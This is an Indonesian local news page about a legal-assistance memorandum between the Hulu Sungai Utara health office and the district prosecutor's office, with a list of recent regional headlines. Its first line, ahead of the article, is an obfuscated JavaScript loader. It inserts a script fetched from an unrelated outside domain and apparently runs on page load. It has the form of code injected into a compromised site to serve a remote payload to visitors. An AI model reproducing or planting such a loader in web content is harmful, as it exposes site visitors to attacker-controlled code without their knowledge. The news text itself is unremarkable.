(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Dinkes HSU MoU dengan Kejari HSU


KANALKALIMANTAN.COM, AMUNTAI – Guna mendapatkan fasilitas pelayanan hukum terkait penanganan Covid-19 dan lain sebagainya Dinas Kesehatan Kabupaten Hulu Sungai Utara (HSU) menjalin kerjasama dengan Kejaksaan Negeri Hulu Sungai Utara.

Nota kesepakatan atau Memorandum of Understanding (MoU) antara Dinkes dengan Kejari HSU dimaksudkan untuk penanganan masalah hukum bidang perdata dan tata usaha negara.

Kepala Bidang Pelayanan Sumber daya Kesehatan Dinkes HSU H Danu Fran Fotohena kepada Kanalkalimantan.com Kamis (2/7/2020) menuturkan, terjalinnya MoU diharapkan dapat lebih meningkatkan kinerja Dinas Kesehatan kepada masyarakat karena didampingi langsung oleh pihak yang kompoten dibidang hukum didalamnya.

“Kinerja kita di sini maksudnya adalah kita bekerja lebih tenang, lebih aman dan lebih focus karena kita ada tempat berkonsultasi terkait hukum perdata dan tata usaha negara, dan itu memang sangat diharapkan Dinas Kesehatan,” ujarnya.

Menurut Danu, ada beberapa hal yang dapat berpotensi menimbulkan masalah hukum kedepannya, sehingga inisiasi untuk menggandeng Kejari sebagai pendampingan hukum ini muncul.

Sebelumnya penandatanganan kerjasama antar Dinkes HSU dan Kejari HSU dilakukan langsung oleh Plt Kadinkes HSU dr H Agus Fidliansyah  dan  Kepala Kejaksaan Negeri HSU Novan Hadian SH MH di kantor Kejari HSU, Rabu (1/7/2020).

Kajari HSU Novan Hadian SH MH mengaku berterimakasih kepada Dinas Kesehatan Kabupaten HSU yang telah memberikan kepercayaan kepada institusi Kejaksaan sebagai Jaksa Pengacara Negera.

“Kita harapkan bersama dalam pelaksanaannya dapat dilakukan sebaik-baiknya demi kepentingan masyarakat, bangsa dan negara,” ujar Novan.

“Kami selaku Jaksa Pengacara Negara siap mendukung Dinas Kesehatan Kabupaten Hulu Sungai Utara dalam mengoptimalkan pelayanan kesehatan pada masa wabah Covid-19 saat ini,” tegasnya.

Plt Dinas Kesehatan Kabupaten HSU dr H Agus Fidliansyah mengatakan, tujuan kerjasama di bidang hukum perdata dan tata usaha negara ini adalah untuk mewujudkan kesepahaman kedua belah pihak dalam rangka penyelesaian masalah-masalah hukum perdata maupun tata usaha negara yang mungkin nanti akan timbul. (kanalkalimantan.com/dew)


Al Ghifari

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

3 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

3 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

4 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

8 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

8 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

9 jam ago

This website uses cookies.